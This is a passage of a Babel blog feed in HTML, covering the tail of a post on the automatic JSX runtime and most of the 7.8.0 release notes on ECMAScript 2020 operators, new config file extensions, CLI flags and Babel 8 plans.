0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<blockquote>
<p><strong>Note:</strong> The functions inside <code>react/jsx-runtime</code> and <code>react/jsx-dev-runtime</code> are not meant to be used outside the <code>@babel/plugin-transform-react-jsx</code> and <code>@babel/plugin-transform-react-jsx-development</code> plugins themselves.</p>
</blockquote>
<p>In summary (and please check the <a href="https://github.com/reactjs/rfcs/blob/createlement-rfc/text/0000-create-element-changes.md" target="_blank" rel="noopener noreferrer">RFC</a> for more information), the transform will:</p>
<ul>
<li>Always pass children as props.</li>
<li>Pass <code>key</code> separately from other props.</li>
<li>In DEV,<!-- -->
<ul>
<li>Pass a flag determining if it was static or not.</li>
<li>Pass <code>__source</code> and <code>__self</code> separately from other props.</li>
</ul>
</li>
</ul>
<p>Usage: You can enable this new transform by passing <code>{ "runtime": "automatic" }</code> (as opposed to <code>"classic"</code>) to <code>@babel/preset-react</code> (or <code>@babel/plugin-transform-react-jsx</code>):</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/preset-react", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "runtime": "automatic"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>And starting from Babel 8, <code>"automatic"</code> will be the default runtime.</p>
<p>You can also enable development mode for this new transform by using the new <code>@babel/plugin-transform-react-jsx-development</code> transform or by passing <code>{ "development": true, "runtime": "automatic" }</code> to <code>@babel/preset-react</code>.</p>
<p>You can read mode about this new transform in <a href="https://babeljs.io/docs/en/babel-preset-react" target="_blank" rel="noopener noreferrer">the docs</a>.</p>]]></content>
        <author>
            <name>Nicolò Ribaudo</name>
            <uri>https://twitter.com/NicoloRibaudo</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.8.0 Released: ECMAScript 2020, .mjs configuration files and @babel/cli improvements]]></title>
        <id>https://babeljs.io/blog/2020/01/11/7.8.0</id>
        <link href="https://babeljs.io/blog/2020/01/11/7.8.0"/>
        <updated>2020-01-11T20:00:00.000Z</updated>
        <summary type="html"><![CDATA[This is the first release of the year! 🎉]]></summary>
        <content type="html"><![CDATA[<p>This is the first release of the year! 🎉</p>
<p>Babel 7.8.0 supports the new <a href="https://github.com/tc39/proposals/blob/master/finished-proposals.md" target="_blank" rel="noopener noreferrer">ECMAScript 2020</a> features by default: you don't need to enable individual plugins for nullish coalescing (<code>??</code>), optional chaining (<code>?.</code>) and dynamic <code>import()</code> anymore with preset-env.</p>
<p>We also finished aligning our different configuration files with the formats natively supported by Node.js, a process that we started in the <a href="https://babeljs.io/blog/2019/11/05/7.7.0#new-configuration-file-extensions-10501-https-githubcom-babel-babel-pull-10501-10599-https-githubcom-babel-babel-pull-10599" target="_blank" rel="noopener noreferrer">7.7.0 release</a>.</p>
<p>Lastly, Babel's CLI now supports two new options: <code>--out-file-extension</code> and <code>--copy-ignored</code>.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.8.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<hr>
<p>Shoutout to <a href="https://github.com/AbdulAli19" target="_blank" rel="noopener noreferrer">Abdul Ali</a>, <a href="https://github.com/jackisherwood" target="_blank" rel="noopener noreferrer">Jack Isherwood</a>, <a href="https://github.com/jayenashar" target="_blank" rel="noopener noreferrer">Jayen Ashar</a>, <a href="https://github.com/Druotic" target="_blank" rel="noopener noreferrer">James Beavers</a>, <a href="https://github.com/ajafff" target="_blank" rel="noopener noreferrer">Klaus Meinhardt</a>, <a href="https://github.com/layershifter" target="_blank" rel="noopener noreferrer">Oleksandr Fediashov</a>, <a href="https://github.com/sidntrivedi012" target="_blank" rel="noopener noreferrer">Siddhant N Trivedi</a>, <a href="https://github.com/bassaer" target="_blank" rel="noopener noreferrer">Tsubasa Nakayama</a>, <a href="https://github.com/yordis" target="_blank" rel="noopener noreferrer">Yordis Prieto</a> and <a href="https://github.com/ZYSzys" target="_blank" rel="noopener noreferrer">ZYSzys</a> for their first PRs!</p>
<p>We also want to thank <a href="https://github.com/Thom1729" target="_blank" rel="noopener noreferrer">Thomas Smith</a> for volunteering to help us maintain the important <a href="https://packagecontrol.io/packages/Babel" target="_blank" rel="noopener noreferrer"><code>babel-sublime</code></a> syntax highlighter plugin, and welcome <a href="https://github.com/rajasekarm" target="_blank" rel="noopener noreferrer">Raja Sekar</a>, our newest addition to the Babel organization!</p>
<p>If you or your company wants to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<blockquote>
<p>We recently published a <a href="https://babeljs.io/blog/2019/11/08/babels-funding-plans" target="_blank" rel="noopener noreferrer">funding post</a> detailing our funding plans and our goals. Check it out!</p>
</blockquote>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="ecmascript-2020-default-support-10811-10817-10819-10843">ECMAScript 2020 default support (<a href="https://github.com/babel/babel/pull/10811" target="_blank" rel="noopener noreferrer">#10811</a>, <a href="https://github.com/babel/babel/pull/10817" target="_blank" rel="noopener noreferrer">#10817</a>, <a href="https://github.com/babel/babel/pull/10819" target="_blank" rel="noopener noreferrer">#10819</a>, <a href="https://github.com/babel/babel/pull/10843" target="_blank" rel="noopener noreferrer">#10843</a>)<a href="https://babeljs.io/blog/2020/01/11/7.8.0#ecmascript-2020-default-support-10811-10817-10819-10843" class="hash-link" aria-label="Direct link to ecmascript-2020-default-support-10811-10817-10819-10843" title="Direct link to ecmascript-2020-default-support-10811-10817-10819-10843">​</a></h2>
<p>During the last <a href="https://github.com/tc39/agendas/blob/master/2019/12.md" target="_blank" rel="noopener noreferrer">meeting</a>, TC39 moved both the nullish coalescing and optional chaining proposals to Stage 4!</p>
<p>The nullish coalescing operator allows you to provide a fallback value when an expression evaluates to <code>null</code> or <code>undefined</code>:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> name </span><span class="token operator">=</span><span class="token plain"> person</span><span class="token punctuation">.</span><span class="token property-access">fullName</span><span class="token plain"> </span><span class="token operator">??</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Anonymous"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token template-string string" style="color:#718c00">Hello, </span><span class="token template-string interpolation interpolation-punctuation punctuation">${</span><span class="token template-string interpolation">name</span><span class="token template-string interpolation interpolation-punctuation punctuation">}</span><span class="token template-string string" style="color:#718c00">!</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>This is similar to how the logical OR (<code>||</code>) operator works. The difference is that while <code>||</code> checks for "falsy" values (i.e. <code>undefined</code>, <code>null</code>, <code>false</code>, <code>0</code>, <code>0n</code> and <code>""</code>), <code>??</code> only checks for "nullish" values. This better matches the "value not provided" mental model, and works better with possibly falsy, but valid, values:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> element </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">index</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token literal-property property">value</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"foo"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> index </span><span class="token operator">=</span><span class="token plain"> element</span><span class="token punctuation">.</span><span class="token property-access">index</span><span class="token plain"> </span><span class="token operator">??</span><span class="token plain"> </span><span class="token operator">-</span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">//  0 :D</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> index </span><span class="token operator">=</span><span class="token plain"> element</span><span class="token punctuation">.</span><span class="token property-access">index</span><span class="token plain"> </span><span class="token operator">||</span><span class="token plain"> </span><span class="token operator">-</span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// -1 :(</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>The optional chaining proposal uses the same concept of "nullish values", allowing optional property accesses on values which could be nullish. It also supports optional function calls and computed properties.</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> city </span><span class="token operator">=</span><span class="token plain"> person</span><span class="token punctuation">.</span><span class="token property-access">address</span><span class="token operator">?.</span><span class="token plain">city</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// person.address could be not defined</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> isNeighbor </span><span class="token operator">=</span><span class="token plain"> person</span><span class="token punctuation">.</span><span class="token property-access">address</span><span class="token operator">?.</span><span class="token method function property-access" style="color:#4271ae">isCloseTo</span><span class="token punctuation">(</span><span class="token plain">me</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">person</span><span class="token punctuation">.</span><span class="token property-access">sayHayUsing</span><span class="token operator">?.</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"Twitter"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// The person.sayHayUsing method could be not defined</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can now safely use these new features in your code! If you are already using <code>@babel/preset-env</code>, you can use these two operators and they will be compiled based on your targets, just like any other ECMAScript feature. If you were using the <code>@babel/plugin-proposal-nullish-coalescing-operator</code> or <code>@babel/plugin-proposal-optional-chaining</code> directly, you can remove them from your config:</p>
<div class="language-diff codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-diff codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/env", { "targets": ["last 2 versions"] }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ],</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">-   "@babel/proposal-optional-chaining",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">-   "@babel/proposal-nullish-coalescing-operator"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>These features are now also enabled by default in <code>@babel/parser</code>: if you were using it directly, you can remove the <code>nullishCoalescingOperator</code> and <code>optionalChaining</code> parser plugins. We also enabled parsing for dynamic <code>import()</code> (which has been included in <code>@babel/preset-env</code> since <a href="https://babeljs.io/blog/2019/07/03/7.5.0#dynamic-import-9552-https-githubcom-babel-babel-pull-9552-and-10109-https-githubcom-babel-babel-pull-10109" target="_blank" rel="noopener noreferrer">v7.5.0</a>), so you can safely remove the <code>dynamicImport</code> plugin.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="support-every-configuration-file-extension-10783-and-10903">Support every configuration file extension (<a href="https://github.com/babel/babel/pull/10783" target="_blank" rel="noopener noreferrer">#10783</a> and <a href="https://github.com/babel/babel/pull/10903" target="_blank" rel="noopener noreferrer">#10903</a>)<a href="https://babeljs.io/blog/2020/01/11/7.8.0#support-every-configuration-file-extension-10783-and-10903" class="hash-link" aria-label="Direct link to support-every-configuration-file-extension-10783-and-10903" title="Direct link to support-every-configuration-file-extension-10783-and-10903">​</a></h2>
<p>Babel 6 supported a single, JSON-based, configuration file: <code>.babelrc</code>.</p>
<p>In Babel 7.0.0, we introduced <code>babel.config.js</code> (which has <a href="https://babeljs.io/docs/en/config-files" target="_blank" rel="noopener noreferrer">different resolution logic</a>) and <code>.babelrc.js</code>. JavaScript config files can be useful for scenarios needing higher flexibility. This was the situation:</p>
<div style="margin:auto;width:fit-content"><table><thead><tr><th style="text-align:center"><strong>Node.js file type</strong></th><th style="text-align:center"><strong>babel.config.__</strong></th><th style="text-align:center"><strong>.babelrc.__</strong></th></tr></thead><tbody><tr><td style="text-align:center"><code>.js</code></td><td style="text-align:center">✔️ Supported</td><td style="text-align:center">✔️ Supported</td></tr><tr><td style="text-align:center"><code>.json</code></td><td style="text-align:center">❌ Not supported</td><td style="text-align:center">❔ Supported, with implicit extension</td></tr></tbody></table></div>
<div class="theme-admonition theme-admonition-tip admonition_WCGJ alert alert--success"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_pbrs"><p>We strongly recommend reading about the differences between <a href="https://babeljs.io/docs/en/config-files" target="_blank" rel="noopener noreferrer"><code>babel.config.js</code> and <code>.babelrc.js</code></a>!</p></div></div>
<p>More recently, Node.js 13.2.0 was released, adding support for native ECMAScript modules and the <code>.cjs</code> and <code>.mjs</code> file extensions. In Babel 7.7.0 we added support for <code>.cjs</code> config files to allow users to enable <code>"type": "module"</code> in their <code>package.json</code> without breaking Babel, as well as support for <code>babel.config.json</code>, which allows for static project-wide configuration.</p>
<div style="margin:auto;width:fit-content"><table><thead><tr><th style="text-align:center"><strong>Node.js file type</strong></th><th style="text-align:center"><strong>babel.config.__</strong></th><th style="text-align:center"><strong>.babelrc.__</strong></th></tr></thead><tbody><tr><td style="text-align:center"><code>.js</code></td><td style="text-align:center">✔️ Supported when <code>"type": "module"</code> is not enabled</td><td style="text-align:center">✔️ Supported when <code>"type": "module"</code> is not enabled</td></tr><tr><td style="text-align:center"><code>.json</code></td><td style="text-align:center">✔️ Supported</td><td style="text-align:center">❔ Supported, with implicit extension</td></tr><tr><td style="text-align:center"><code>.cjs</code></td><td style="text-align:center">✔️ Supported</td><td style="text-align:center">✔️ Supported</td></tr><tr><td style="text-align:center"><code>.mjs</code></td><td style="text-align:center">❌ Not supported</td><td style="text-align:center">❌ Not supported</td></tr></tbody></table></div>
<p>This release aligns Babel with the file types natively supported by Node.js by allowing <code>.babelrc.json</code>, <code>babel.config.mjs</code>, and <code>.babelrc.mjs</code>.</p>
<div style="margin:auto;width:fit-content"><table><thead><tr><th style="text-align:center"><strong>Node.js file type</strong></th><th style="text-align:center"><strong>babel.config.__</strong></th><th style="text-align:center"><strong>.babelrc.__</strong></th></tr></thead><tbody><tr><td style="text-align:center"><code>.js</code></td><td style="text-align:center">✔️ Supported</td><td style="text-align:center">✔️ Supported</td></tr><tr><td style="text-align:center"><code>.json</code></td><td style="text-align:center">✔️ Supported</td><td style="text-align:center">✔️ Supported</td></tr><tr><td style="text-align:center"><code>.cjs</code></td><td style="text-align:center">✔️ Supported</td><td style="text-align:center">✔️ Supported</td></tr><tr><td style="text-align:center"><code>.mjs</code></td><td style="text-align:center">✔️ Supported</td><td style="text-align:center">✔️ Supported</td></tr></tbody></table></div>
<p>Please remember that ECMAScript modules are <strong>asynchronous</strong>: that's why, for example, you can't <code>require()</code> them and instead have to use <code>import()</code>, which returns a promise.</p>
<p>For these reasons, they can only be used when calling Babel via the promise-based or callback-based entry points. They already work with <code>@babel/cli</code>, <code>babel-loader</code> and <code>gulp-babel</code>, and they will work with the next release of <code>rollup-plugin-babel</code>. Note that they are not supported by <code>babel-eslint</code> yet.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="new-cli-options-9144-and-10887">New CLI options (<a href="https://github.com/babel/babel/pull/9144" target="_blank" rel="noopener noreferrer">#9144</a> and <a href="https://github.com/babel/babel/pull/10887" target="_blank" rel="noopener noreferrer">#10887</a>)<a href="https://babeljs.io/blog/2020/01/11/7.8.0#new-cli-options-9144-and-10887" class="hash-link" aria-label="Direct link to new-cli-options-9144-and-10887" title="Direct link to new-cli-options-9144-and-10887">​</a></h2>
<p>We added two new flags to <code>@babel/cli</code>: <code>--copy-ignored</code> and <code>--out-file-extension</code>.</p>
<p><code>--copy-ignored</code> can be used to copy files that are not transpiled by Babel, either because they are ignored using the <code>--ignore</code> CLI option, or because <code>"ignore"</code> is set in a configuration file.</p>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p>To maintain backward compatibility, in Babel 7.8.4 the default value of the <code>--copy-ignored</code> option has been changed to <code>true</code>. If you want to disable it, you can use <code>--no-copy-ignored</code>.</p></div></div>
<p>This is similar to how the <code>--copy-files</code> option works, but <code>--copy-files</code> is meant to copy anything which is not transpiled because it isn't a JavaScript file (for example, <code>.css</code> or <code>.json</code>), rather than explicitly ignored files.</p>
<p><code>--out-file-extension</code> can be used to configure the extension of the files generated by Babel. For example, if you are transpiling <code>.js</code> files containing native ECMAScript modules in Node.js and want to generate CommonJS files, you might need to use the <code>.cjs</code> extension:</p>
<div class="language-shell codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">Shell</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-shell codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">$ babel src --out-dir lib-cjs --out-file-extension cjs</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="preparing-for-babel-8">Preparing for Babel 8<a href="https://babeljs.io/blog/2020/01/11/7.8.0#preparing-for-babel-8" class="hash-link" aria-label="Direct link to Preparing for Babel 8" title="Direct link to Preparing for Babel 8">​</a></h2>
<p>We are starting to work on the Babel 8.0.0 release in our umbrella issue: <a href="https://github.com/babel/babel/issues/10746" target="_blank" rel="noopener noreferrer">#10746</a>.</p>
<p>Babel 8 will only contain breaking changes: we will release a minor version the same day, containing all the bug fixes and new features that would otherwise be released in 8.0.0.</p>
<p>While we don't anticipate a huge migration path, there are two issues which we want to bring to your attention:</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="extract-targets-parser-and-compat-data-from-preset-env-10899">Extract targets parser and compat data from preset-env (<a href="https://github.com/babel/babel/pull/10899" target="_blank" rel="noopener noreferrer">#10899</a>)<a href="https://babeljs.io/blog/2020/01/11/7.8.0#extract-targets-parser-and-compat-data-from-preset-env-10899" class="hash-link" aria-label="Direct link to extract-targets-parser-and-compat-data-from-preset-env-10899" title="Direct link to extract-targets-parser-and-compat-data-from-preset-env-10899">​</a></h3>
<p>Various 3rd party presets are currently using <code>@babel/preset-env</code>'s internal logic to parse compilation targets or to retrieve information about necessary plugins and polyfills.</p>
<p>We have decided to officially support these two use cases by providing two new public packages:</p>
<ul>
<li>
<p><code>@babel/helper-compilation-targets</code>, which exports a function to normalize the specified targets and a few other related utilities:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">getTargets</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"@babel/helper-compilation-targets"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function" style="color:#4271ae">getTargets</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">browsers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"last 2 chrome versions"</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">node</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">10</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">==</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token literal-property property">chrome</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"77.0.0"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token literal-property property">node</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" 